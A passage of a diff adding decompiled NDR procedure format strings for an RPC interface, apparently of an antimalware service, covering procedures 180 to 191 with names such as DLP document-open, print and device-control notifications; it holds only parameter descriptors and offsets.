/* X64 Stack size/offset = 8 */ +/* 10236 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 10238 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 10240 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 10242 */ 0xb, /* FC_HYPER */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 10244 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 10246 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 10248 */ NdrFcShort( 0xd56 ), /* Type Offset=3414 */ + + /* Parameter arg_4 */ + +/* 10250 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 10252 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 10254 */ NdrFcShort( 0xd56 ), /* Type Offset=3414 */ + + /* Parameter arg_5 */ + +/* 10256 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 10258 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 10260 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_6 */ + +/* 10262 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 10264 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 10266 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_7 */ + +/* 10268 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 10270 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 10272 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_8 */ + +/* 10274 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 10276 */ NdrFcShort( 0x40 ), /* X64 Stack size/offset = 64 */ +/* 10278 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_9 */ + +/* 10280 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 10282 */ NdrFcShort( 0x48 ), /* X64 Stack size/offset = 72 */ +/* 10284 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 10286 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 10288 */ NdrFcShort( 0x50 ), /* X64 Stack size/offset = 80 */ +/* 10290 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc180_ServerMpRpcCheckAccessForDragDropOperation2 */ + +/* 10292 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 10294 */ NdrFcLong( 0x0 ), /* 0 */ +/* 10298 */ NdrFcShort( 0xb4 ), /* 180 */ +/* 10300 */ NdrFcShort( 0x68 ), /* X64 Stack size/offset = 104 */ +/* 10302 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 10304 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 10306 */ NdrFcShort( 0x40 ), /* 64 */ +/* 10308 */ NdrFcShort( 0x40 ), /* 64 */ +/* 10310 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0xc, /* 12 */ +/* 10312 */ 0xa, /* 10 */ + 0x5, /* Ext Flags: new corr desc, srv corr check, */ +/* 10314 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10316 */ NdrFcShort( 0x1 ), /* 1 */ +/* 10318 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10320 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 10322 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 10324 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 10326 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 10328 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 10330 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 10332 */ 0xb, /* FC_HYPER */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 10334 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 10336 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 10338 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 10340 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 10342 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 10344 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_5 */ + +/* 10346 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 10348 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 10350 */ 0xb, /* FC_HYPER */ + 0x0, /* 0 */ + + /* Parameter arg_6 */ + +/* 10352 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 10354 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 10356 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_7 */ + +/* 10358 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 10360 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 10362 */ NdrFcShort( 0xc7e ), /* Type Offset=3198 */ + + /* Parameter arg_8 */ + +/* 10364 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 10366 */ NdrFcShort( 0x40 ), /* X64 Stack size/offset = 64 */ +/* 10368 */ NdrFcShort( 0xd56 ), /* Type Offset=3414 */ + + /* Parameter arg_9 */ + +/* 10370 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 10372 */ NdrFcShort( 0x48 ), /* X64 Stack size/offset = 72 */ +/* 10374 */ NdrFcShort( 0xd56 ), /* Type Offset=3414 */ + + /* Parameter arg_10 */ + +/* 10376 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 10378 */ NdrFcShort( 0x50 ), /* X64 Stack size/offset = 80 */ +/* 10380 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_11 */ + +/* 10382 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 10384 */ NdrFcShort( 0x58 ), /* X64 Stack size/offset = 88 */ +/* 10386 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 10388 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 10390 */ NdrFcShort( 0x60 ), /* X64 Stack size/offset = 96 */ +/* 10392 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc181_ServerMpRpcDlpInitializeEnforcementMode */ + +/* 10394 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 10396 */ NdrFcLong( 0x0 ), /* 0 */ +/* 10400 */ NdrFcShort( 0xb5 ), /* 181 */ +/* 10402 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 10404 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 10406 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 10408 */ NdrFcShort( 0x8 ), /* 8 */ +/* 10410 */ NdrFcShort( 0x24 ), /* 36 */ +/* 10412 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x4, /* 4 */ +/* 10414 */ 0xa, /* 10 */ + 0x5, /* Ext Flags: new corr desc, srv corr check, */ +/* 10416 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10418 */ NdrFcShort( 0x1 ), /* 1 */ +/* 10420 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10422 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 10424 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 10426 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 10428 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 10430 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 10432 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 10434 */ NdrFcShort( 0xd70 ), /* Type Offset=3440 */ + + /* Parameter arg_3 */ + +/* 10436 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 10438 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 10440 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 10442 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 10444 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 10446 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc182_ServerMpRpcDlpGetOperationEnforcmentMode */ + +/* 10448 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 10450 */ NdrFcLong( 0x0 ), /* 0 */ +/* 10454 */ NdrFcShort( 0xb6 ), /* 182 */ +/* 10456 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 10458 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 10460 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 10462 */ NdrFcShort( 0x8 ), /* 8 */ +/* 10464 */ NdrFcShort( 0x40 ), /* 64 */ +/* 10466 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x4, /* 4 */ +/* 10468 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 10470 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10472 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10474 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10476 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 10478 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 10480 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 10482 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 10484 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 10486 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 10488 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 10490 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 10492 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 10494 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 10496 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 10498 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 10500 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc183_ServerMpRpcDlpNotifyPreOpenDocumentFile */ + +/* 10502 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 10504 */ NdrFcLong( 0x0 ), /* 0 */ +/* 10508 */ NdrFcShort( 0xb7 ), /* 183 */ +/* 10510 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 10512 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 10514 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 10516 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10518 */ NdrFcShort( 0x24 ), /* 36 */ +/* 10520 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x3, /* 3 */ +/* 10522 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 10524 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10526 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10528 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10530 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 10532 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 10534 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 10536 */ NdrFcShort( 0xd5a ), /* Type Offset=3418 */ + + /* Parameter arg_2 */ + +/* 10538 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 10540 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 10542 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 10544 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 10546 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 10548 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc184_ServerMpRpcDlpNotifyPostOpenDocumentFile */ + +/* 10550 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 10552 */ NdrFcLong( 0x0 ), /* 0 */ +/* 10556 */ NdrFcShort( 0xb8 ), /* 184 */ +/* 10558 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 10560 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 10562 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 10564 */ NdrFcShort( 0x2c ), /* 44 */ +/* 10566 */ NdrFcShort( 0x24 ), /* 36 */ +/* 10568 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x4, /* 4 */ +/* 10570 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 10572 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10574 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10576 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10578 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 10580 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 10582 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 10584 */ NdrFcShort( 0xd5a ), /* Type Offset=3418 */ + + /* Parameter arg_2 */ + +/* 10586 */ NdrFcShort( 0xa ), /* Flags: must free, in, */ +/* 10588 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 10590 */ NdrFcShort( 0x304 ), /* Type Offset=772 */ + + /* Parameter arg_3 */ + +/* 10592 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 10594 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 10596 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 10598 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 10600 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 10602 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc185_ServerMpRpcDlpNotifyCloseDocumentFile */ + +/* 10604 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 10606 */ NdrFcLong( 0x0 ), /* 0 */ +/* 10610 */ NdrFcShort( 0xb9 ), /* 185 */ +/* 10612 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 10614 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 10616 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 10618 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10620 */ NdrFcShort( 0x24 ), /* 36 */ +/* 10622 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x3, /* 3 */ +/* 10624 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 10626 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10628 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10630 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10632 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 10634 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 10636 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 10638 */ NdrFcShort( 0xd56 ), /* Type Offset=3414 */ + + /* Parameter arg_2 */ + +/* 10640 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 10642 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 10644 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 10646 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 10648 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 10650 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc186_ServerMpRpcDlpNotifyPreSaveAsDocument */ + +/* 10652 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 10654 */ NdrFcLong( 0x0 ), /* 0 */ +/* 10658 */ NdrFcShort( 0xba ), /* 186 */ +/* 10660 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 10662 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 10664 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 10666 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10668 */ NdrFcShort( 0x24 ), /* 36 */ +/* 10670 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x4, /* 4 */ +/* 10672 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 10674 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10676 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10678 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10680 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 10682 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 10684 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 10686 */ NdrFcShort( 0xd5a ), /* Type Offset=3418 */ + + /* Parameter arg_2 */ + +/* 10688 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 10690 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 10692 */ NdrFcShort( 0xb9a ), /* Type Offset=2970 */ + + /* Parameter arg_3 */ + +/* 10694 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 10696 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 10698 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 10700 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 10702 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 10704 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc187_ServerMpRpcDlpNotifyPostSaveAsDocument */ + +/* 10706 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 10708 */ NdrFcLong( 0x0 ), /* 0 */ +/* 10712 */ NdrFcShort( 0xbb ), /* 187 */ +/* 10714 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 10716 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 10718 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 10720 */ NdrFcShort( 0x2c ), /* 44 */ +/* 10722 */ NdrFcShort( 0x24 ), /* 36 */ +/* 10724 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x5, /* 5 */ +/* 10726 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 10728 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10730 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10732 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10734 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 10736 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 10738 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 10740 */ NdrFcShort( 0xd5a ), /* Type Offset=3418 */ + + /* Parameter arg_2 */ + +/* 10742 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 10744 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 10746 */ NdrFcShort( 0xb9a ), /* Type Offset=2970 */ + + /* Parameter arg_3 */ + +/* 10748 */ NdrFcShort( 0xa ), /* Flags: must free, in, */ +/* 10750 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 10752 */ NdrFcShort( 0x304 ), /* Type Offset=772 */ + + /* Parameter arg_4 */ + +/* 10754 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 10756 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 10758 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 10760 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 10762 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 10764 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc188_ServerMpRpcDlpNotifyPrePrint */ + +/* 10766 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 10768 */ NdrFcLong( 0x0 ), /* 0 */ +/* 10772 */ NdrFcShort( 0xbc ), /* 188 */ +/* 10774 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 10776 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 10778 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 10780 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10782 */ NdrFcShort( 0x24 ), /* 36 */ +/* 10784 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x4, /* 4 */ +/* 10786 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 10788 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10790 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10792 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10794 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 10796 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 10798 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 10800 */ NdrFcShort( 0xd5a ), /* Type Offset=3418 */ + + /* Parameter arg_2 */ + +/* 10802 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 10804 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 10806 */ NdrFcShort( 0xd8e ), /* Type Offset=3470 */ + + /* Parameter arg_3 */ + +/* 10808 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 10810 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 10812 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 10814 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 10816 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 10818 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc189_ServerMpRpcDlpNotifyPostStartPrint */ + +/* 10820 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 10822 */ NdrFcLong( 0x0 ), /* 0 */ +/* 10826 */ NdrFcShort( 0xbd ), /* 189 */ +/* 10828 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 10830 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 10832 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 10834 */ NdrFcShort( 0x2c ), /* 44 */ +/* 10836 */ NdrFcShort( 0x24 ), /* 36 */ +/* 10838 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x5, /* 5 */ +/* 10840 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 10842 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10844 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10846 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10848 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 10850 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 10852 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 10854 */ NdrFcShort( 0xd56 ), /* Type Offset=3414 */ + + /* Parameter arg_2 */ + +/* 10856 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 10858 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 10860 */ NdrFcShort( 0xd8e ), /* Type Offset=3470 */ + + /* Parameter arg_3 */ + +/* 10862 */ NdrFcShort( 0xa ), /* Flags: must free, in, */ +/* 10864 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 10866 */ NdrFcShort( 0x304 ), /* Type Offset=772 */ + + /* Parameter arg_4 */ + +/* 10868 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 10870 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 10872 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 10874 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 10876 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 10878 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc190_ServerMpGetTDTFeatureStatus */ + +/* 10880 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 10882 */ NdrFcLong( 0x0 ), /* 0 */ +/* 10886 */ NdrFcShort( 0xbe ), /* 190 */ +/* 10888 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 10890 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 10892 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 10894 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10896 */ NdrFcShort( 0x40 ), /* 64 */ +/* 10898 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 10900 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 10902 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10904 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10906 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10908 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 10910 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 10912 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 10914 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 10916 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 10918 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 10920 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 10922 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 10924 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 10926 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc191_ServerMpRpcGetDeviceControlSecurityPolicies */ + +/* 10928 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 10930 */ NdrFcLong( 0x0 ), /* 0 */ +/* 10934 */ NdrFcShort( 0xbf ), /* 191 */ +/* 10936 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 10938 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 10940 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 10942 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10944 */ NdrFcShort( 0x24 ), /* 36 */ +/* 10946 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x4, /* 4 */ +/* 10948 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 10950 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10952 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10954 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10956 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + 